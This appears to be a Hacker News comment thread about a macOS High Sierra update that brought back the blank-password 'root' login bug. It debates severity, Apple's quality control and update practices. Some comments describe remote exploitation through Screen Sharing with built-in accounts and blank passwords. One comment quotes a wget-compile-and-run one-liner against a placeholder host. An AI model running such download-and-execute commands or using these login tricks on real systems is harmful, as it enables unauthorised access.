MacOS Update Accidentally Undoes Apple's “root” Bug Patch
wired.com
wired.com
And it’s not just one manager. The whole management is screwed, it’s a disaster. I think now is really time to say : would you imagine this happening under steve jobs ?
It's nowhere close to the greatest security failure in a decade. It's not even a contender in the far off distance. It's a well publicized vulnerability, and it's quite silly, but in the scheme of things it's just a Tuesday for CVE writers. We even had a vulnerability functionally identical to this, and similar in both severity and silliness, hit Linux within the past year.
If you're talking about Apple specifically, it's still not that bad. The vulnerability couldn't be arbitrarily executed remotely with default OS settings, and it didn't grant kernel access. The Trident flaws were significantly worse than this, and that's just the first that comes to mind.
Yes, yes, I know this wasn't the thrust of your point...but still. People get kind of hyperbolic when it comes to rating security vulnerabilities. It's more silly than it is severe. I expect at least one vulnerability of comparable impact on every major point release of every major operating system and web browser (not that this is a good thing, but it's logistically realistic). I don't think this is particularly bad for Apple's public image or reputation. Headlines about "the sky is falling!" vulnerabilities make the rounds every so often; for better or worse, it never really seems to stick in public consciousness.
If guest accounts are enabled by default and a guest account can exploit it, yea.. that's pretty bad.
Not necessarily; this aspect was unfortunately underreported:
"macos 10.13 bug isn't limited to root in all circumstances; via ARD, you can log in as any existing user (e.g. _applepay) and share the screen of the logged-in user. also _uucp is allowed to log in"
https://twitter.com/unsynchronized/status/935656609140711426
So that limits things in terms of who is affected.
> You'd still need physical access to a logged-in machine to exploit it.
Yes it does; if Remote Management was enabled (as is often the case for remote servers or mass deployments), an attacker could login via Apple Remote Desktop using default, pre-existing user accounts (_applepay, _uucp, etc) and a blank password without ever needing physical access.
Just tested again with a new, unpatched install of 10.13.1 on one Mac, connecting via Screen Sharing from another. To be clear, I never logged in as root on the 10.13.1 Mac at all, even via the exploit.
As I mentioned below, this remote exploit did NOT require ever logging in as root, whether with or without a password. This was a much more serious bug than is commonly understood.
You don't. You can exploit it from the login screen after a machine wakes from sleep, you can also exploit it remotely via Screen Sharing.
It's very silly, and I would also be embarrassed if I was involved in it, but those aren't good metrics for judging the realistic frequency of bugs like this, nor their severity. I've had vulnerabilities I've reported picked up by a bunch of news media before even though they weren't that serious. As it turns out, the media just latches on to security headlines, and everyone sort of forgets about it except us grumblers on Hacker News, because we Never Forget.
Someone from Google Project Zero has probably been inspired to start fuzzing the macOS at the UI level now, and that's a good thing - they should. But that's about all I'm taking away from this story.
Moreover:
> on an OS that’s only used as a personal computer, not as a server
This makes it less severe, not more so. I'd rather have a Heartbleed impacting nearly every server on the internet than a...whatever we're calling this, impacting every macOS computer in the world. I guess I can make a botnet...except I still have to be local to it in the majority of cases, or do specific targeting, or chain this with another piece of popular, compromised software, etc. It suddenly becomes a bit more complex than just someone pressing enter on a root prompt twice. Plus, if the vulnerability is laughably silly, it's usually easier to find than a chain of them that evidences a systemic misconfiguration in the entire OS.
In fact, I'd posit that the reason this story is getting so much attention is precisely because the vulnerability is so easy to understand, and because someone disclosed it on Twitter. Frankly, the whole situation is really quite funny in a black comedy sort of way. But while it's fun to write stories poking fun at large companies for their silly mistakes, it doesn't meaningfully reflect their security competency or the long term perception of their security competency.
Really I don't mean to trivialize it. It's not a good look, and definitely it's worthy of being patched. But I think it's worth looking at from a much broader perspective.
> This makes it less severe, not more so.
You are looking at it from the perspective of a seasoned security professional. It's like looking at the terrorist attack in Nice from a military point of view and saying "eh, this was just a guy on a lorry; it's much more difficult to raid Osama in the middle of Pakistan". That might well be, but this does not matter to the general public - to them, concepts like "botnets" are immaterial, whereas Slippin' Jimmy entering their macbooks to read their emails while they're sleeping is very real.
In that sense, the impact here was bigger than any other security hole ever experienced on the Mac.
I think I must be misunderstanding this, or else the rest of your comment. Did you really mean it this way (more Heartbleeds is better than more personal-OS vulnerabilities), rather than the other way around?
It was, via Screen Sharing and a few other remote mechanisms.
It "likely" wasn't often internet accessible due to firewalls, but it was remotely exploitable on many large Mac deployments in enterprise and education.
My laptop was vulnerable to this one for quite a while. [1] http://hmarco.org/bugs/CVE-2016-4484/CVE-2016-4484_cryptsetu...
So, being able to install spying software on any Mac OSX is something silly for you?
Let's say I just don't agree.
How many people read patch notes or are aware what security patch their Android has?
In big companies there are layers of 'management', including down to dev leads and tech/virtual leads who are devs by title. Knowledge of codebase/systems/deployment increases as you get down to the leaves. There are architects, release managers, product managers, etc. that should have provided multiple checks/balances. It's easy to point at "management" in big companies just as it is easy to point at "developers". But there's a whole bunch of nuances in the middle.
The fact that all the architects, release managers, and product managers that you mentioned do not function as a coherent structure capable of eliminating the occurrence of critical defects is the definition of management failure. NASA also had plenty of architects and directors when Challenger exploded. Such catastrophic failures, especially on repeat, are indicative of systemic disfunction. That is always the fault of top management.
Of course it could have. Making software is hard, and mistakes get made. The idea that the magical presence of Steve would prevent this is absurd.
There were plenty of terrible MacOS bugs under Steve's reign too. I can't help but feel there is perhaps a new generation of Mac users who don't remember or didn't experience how painful OS X was at times, even many years after the OS 9 to X transition had started.
OS X versions 1-3 were pretty bad. 10.3 was the first to be useable. 10.4 was actually good. Then 10.5 Leopard (or Leper as we knew it) was awful on release. From Snow Leopard onwards it’s been much better, with the occasional howler of course.
It seems to be a constant refrain that Apple’s software quality is declining in the same way civilisation is always falling or HN is becoming more like reddit.
In High Sierra they painlessly replaced the filesystem. Quite an achievement. Although everyone involved in this latest problem should be highly embarrassed.
No, they did not. They still cannot upgrade any Mac mini server running RAID 1. They sold that configuration and crippled there software to put in the new file system. That is only painless for flash drive owners.
Funny - until recent years, I remember the mantra on MacOS being "yeah, but it's gotten better in the latest release".
Except that a colleague of mine who was adventurous enough to try it lost all the data. That stopped any one of us from upgrading (fortunately, if I may say so).
(it might be due to encryption, but it doesn't matter - the "painless" part is clearly not for everybody)
Can't it be both? I feel like when people talk like this, it abstracts away from the concept of a bad decision. Everything's a tradeoff! Sounds great until you hit actual consequences.
And i attribute that to themselves being largely Apple users by force of habit.
[1] https://www.theverge.com/2017/11/6/16611756/ios-11-bug-lette... [2] http://bgr.com/2017/11/27/ios-11-problems-keyboard-autocorre...
We've trained people to update ASAP for security reasons, but when Apple drops the ball and seriously fucks up iOS 11 for a month until 11.1.1 was released, this will keep users update-shy.
I hope 2018 emphasises rock-solid releases for both macOS & iOS. Or Apple should move to a two-year release cycle (wishful thinking).
[1] https://discussions.apple.com/message/32638979?ac_cid=tw1234...
The latest version isn't always the most stable or secure, either.
Someone had mentioned in a different post that Apple may not apply all security patches to Sierra. If I can find some support to this I think it will be picking the lesser of two evils.
https://support.apple.com/de-de/HT208221
The App Store "Updates" list is the right place to look (and refresh).
Haven't had a chance to look into this further on how Sierra may be impacted.
So every time a new macOS release comes out, everyone has the choice between running a .0 release, or running an insecure OS for about a month.
https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-...
If a machine had 10.13.1 (the latest version of macOS) installed when that happened, it is OK.
If the machine had 10.13.0 installed when Apple installed the patch, however, then the update to 10.13.1 will bring the bug back, and necessitate both re-installation of the security patch and a reboot before the machine is again safe from the "root access for anybody who can spell 'root'" bug.
From a user perspective, I never want my experience to change without my express consent. Sometimes I don't have the power to prevent it, but for my OS, I definitely have that power, and exercise it regularly.
Updates to fix specific and very important bugs are good. Updates that do more are not. Unfortunately, I have often pondered how to solve this problem, and come to the conclusion that it's not easy --- but perhaps if almost all the users take a stand and just do not update whenever it's not for the specific and sole purpose of fixing some important bug, even if it means leaving security behind, maybe companies will finally listen and stop making security an excuse to bundle in other unwanted changes; because then they'll know that any attempts to do so will be met with high resistance, and if their goal was to secure, they would only fix these security issues and leave everything else alone.
Although it's not Apple, the sentiment around Windows Vista and 8.x show that companies do care about their customers to some extent; but they're not going to care if the majority of users just slavishly accept whatever they get.
Argh. My thanksgiving dinner in a nutshell.
macOS High Sierra 10.13.0 was released on 2017-09-25. Sierra (10.12 and El Capitan (10.11) were not patched on that day. So if you didn't upgrade to 10.13.0 _on the first day of its availability_, you were missing out on these security fixes: https://support.apple.com/de-de/HT208144
Apple only released patches for 10.12 and 10.11 along with 10.13.1, more than a month later (2017-10-31): https://support.apple.com/de-de/HT208221
The same pattern happened when 10.12.0 was released - older systems only started receiving security fixes on the day 10.12.1 was released.
So it is generally true that Apple keeps the three most recent versions of macOS secure, but there's always this awkward gap around September where they don't.
If you miss this window, you have two options - stay on older version waiting till new version get fixed all annoying bugs (hello iOS 11), or if you already on newer version, you're screwed - no coming back.
For this reasons I stared upgrading to newer iOS versions as soon as they are available.
General purpose computers are no longer necessary for a significant chunk of consumers.
"Hey sumitgt, how do I get $software to work? I bought it for $79 on sale but it won't open."
> iPad
"Hey sumitgt, can you help me get $university's site to work? I need to turn in my homework before midnight, but the page says something about Internet Explorer and Adobe Flash."
Microsoft has been pushing the office online suite a lot in universities and businesses.
Also went to university a number of years ago and they used simple HTML file upload stuff for turnins of coursework.
I still remember the update to el capitan destroying my filevault with all my files (luckily I had backup). Recent major releases from OS X introduce regressions and are bug ridden for the first 6 months.
Coupled with the security issues it’s clear that whoever is responsible for Q&A these days is asleep at the wheel.
It’s the reliability of the hardware and software that brought me to Apple back in the days of the G4.
Ironic that I may have to switch back to Windows since my work machine seems less buggier than my Mac!
iOS 11 on the other hand was more of a downgrade to beta on my 7 Plus.
Downgrading to Sierra fixed it... I still don't know what was causing the reboots.
... So, not at all? It’s a LPE for gods sake. EDIT: Apparently it affects remote desktop too, so not just a LPE.
Can this even be exploited from within the sandbox?
I don't understand the threat model here, it is always completely unreasonable to expect that an attacker wouldn't easily be able to escalate privileges locally in a multi-user system.
What do you mean by exploited from within the sandbox? This is exploitable from any login prompt where the user has the ability to enter a username, including ones in the shell.
Surely not. In real life LPE bugs are far too common to matter a lot to anyone.
>What do you mean by exploited from within the sandbox? This is exploitable from any login prompt where the user has the ability to enter a username, including ones in the shell.
I'm not familiar enough with the OS X sandbox, but I would guess that sandboxed applications aren't allowed to fill in login prompts. I might be wrong though.
Oh, right. I tend to kind of forget that the App Store serves any other purpose than to deliver software updates as most of the applications on my Mac are from other sources. Yes, I agree that sandboxed apps are almost certainly prohibited from filling in login prompts by default. There does appear to be a system by which sandboxed apps can ask for addition permissions but I'm not an OS X/macOS application developer so I have no idea how this permissions system works.
>Surely not. In real life LPE bugs are far too common to matter a lot to anyone.
LPE bugs might be common but they're rarely as extremely straightforward as typing "root" into a login prompt with no password and pressing enter a few times.
Often enough a `wget http://xxx.xxx/xxx.c&&gcc xxx.c&&./a.out` will suffice. I'm not convinced that the ease of exploitation makes this bug particularly serious as a LPE.
>humble ˈhʌmb(ə)l verb past tense: humbled; past participle: humbled
cause (someone) to feel less important or proud. "he was humbled by his many ordeals"
decisively defeat (a sporting opponent previously thought to be superior). "Wales were humbled at Cardiff Arms Park by Romania
Funny thing is that on the update site section steps in `To confirm that your Mac has Security Update 2017-001` confirm that I have the update, but am still vulnerable to the issue.
Do I understand correctly that setting root password is also valid workaround for the issue?
Would anyone feel compelled to apologize for mentioning a mistake by an open source project on Twitter?
The gentleman who tweeted about Apple's mistake actually apologized for it on Medium. Crazy.
https://medium.com/@lemiorhan/the-story-behind-anyone-can-lo...
Apple can claim it is "certified" as UNIX(TM). And publish the source for userland code it copied from open source projects.
Microsoft is trying again to subsume "UNIX" into Windows allowing users to run Linux binaries without running a Linux kernel.
But neither is a substitute for the original open source UNIX-like projects.
This blunder by Apple proves that even the wealthiest company on Earth does not necessarily produce better "UNIX" than a group of unpaid volunteers. At least if the user cares about the basics.
I read his statement but I don't see an apology there. It's a reply to people who are saying he should've practiced responsible disclosure.
Maybe 2018 is the year of the Linux desktop? ... one can dream...
I have to admit that for a second there I thought you were running Bash on Windows and the terminal was going through an X server. Ha
My setup tips https://github.com/chx/chx.github.io/wiki/How-I-set-up-my-Wi...
Either deployment was broken, the tests were broken, there weren't tests, or multiple of the above :\ anyway I'm hypothesizing but would love to see a post-mortem on this. How does a generally reliable company like Apple screw this up twice?
Heck, I was responsible for the first crashing bug found in System 7.0. It was found about six hours after GM images were released to manufacturing. It was a crashing bug. It was remotely exploitable. It was one freakin' register, for cryin' in your cornflakes.
Will try for a Linux dev machine next time I think.
I believe users place too much trust in corporations such as Apple, Google or Microsoft to protect them. There is too much debate over which company to choose ("I like ___________'s approach to security") instead of questioning whether delegating security to any of them is truly the wisest course of action.
I hope that this incident causes at least one user to question whether users might benefit from adopting a less trusting and more vigilant approach to protecting their data.
And by "vigilant" I do not mean "choosing the right tech companies to trust", diligently installing updates from these corporations and feeling self-satisfied.
I mean questioning the status quo and thinking seriously about the benefits of free, open source operating systems that are potentially reviewable by millions of developers and users. Systems that can be modified, compiled and installed easily by anyone, not only by small groups of people in corporations with special knowledge. Systems that can, e.g., permit and maybe encourage "safer", more conservative usage patterns.
Under the prevailing laws, I believe this pool of open source developers and users will always contain a larger number of people who care more about protecting user data than any groups within the above companies. It is a matter of self-interest.
Apple is a company with seemingly infinite resources at its disposal. But clearly in this case there were more people seriously interested in fixing this vulnerability outside of the company than within it. And as a dumb, naive user, I question anyone who would suggest that no one except a small group of people at Apple would be competent to do this work.
IMO, this mistake had nothing to do with what makes Apple valuable, namely their hardware. A UNIX-like OS running on Apple hardware does not need to be proprietary and, IMO, users have a compelling interest for software, that can expose their data and pose other security issues, to be open.
Of course, publishing your source code does make it a lot easier for outsiders to audit your software, but how many people actually do? Linux might be an exception because so many organizations build drivers and distributions for it (there are always people digging through the internals and likewise, hackers/security consultants looking for opportunities), but I suspect for most open source projects (even the big ones), there are way fewer people auditing them than comments like this would lead you to believe.
How many people do you think are digging through and critically analyzing Django/Node/Rails/Docker/OpenSSL/network drivers/etc? There's a mindblowing amount of code behind any application, and as developers/users, we tend to trust strength in numbers - people are using it, so it must be fine. But in practice, I wonder how much the bystander effect counteracts this intuition.
I would say very, very few people in the world read random source code looking for bugs. Finding hidden bugs requires active use like a QA person would do. This has probably already been done on any major FOSS software, so any remaining bugs would be unbelievably hard to find, and very unlikely by just reading source code.
I mean it sounds good as a theory, but it also sounds like, "If I publish my book online for free, lots of people on the internet will read it."
Doesn't really change the equation though. That just allows people to not read it faster using automation. :)